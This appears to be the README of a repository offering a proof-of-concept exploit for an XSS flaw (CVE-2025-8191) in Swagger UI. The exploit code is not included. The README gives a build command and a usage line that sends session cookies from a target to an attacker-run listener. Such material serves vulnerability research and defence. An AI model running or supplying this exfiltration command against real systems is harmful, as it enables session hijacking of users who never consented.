A repository containing a PoC exploit for CVE‑2025‑8191 in Swagger UI, leveraging XSS injection to exfiltrate session cookies.# CVE-2025-8191 – Swagger UI XSS Injection
## Description :
This repository contains a Proof‑of‑Concept (PoC) exploit for CVE‑2025‑8191, a vulnerability found in Swagger UI.
The vulnerability allows Cross‑Site Scripting (XSS) injection in the “description” field, leading to remote script execution under Swagger UI versions ≤ 1.0.3.
## References :
- NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2025-8191
## Usage :
```
gcc exploit.c argparse.c -o exploit -lcurl
./exploit -u http://target.com -s http://yourserver.com -v
```
Replace http://target.com with the target Swagger UI URL, and http://yourserver.com with your HTTP listener for exfiltration.
## Disclaimer :
This code is for educational and security‑research purposes only. Do NOT use it on systems for which you do not have explicit permission. The author is not responsible for any misuse.
## License :
MIT License
[4.0K] /data/pocs/4b613c83c4f7aebb281601204d9334e00c9c0197
├── [ 16K] exploit.c
├── [1.0K] LICENSE
└── [ 946] README.md
0 directories, 3 files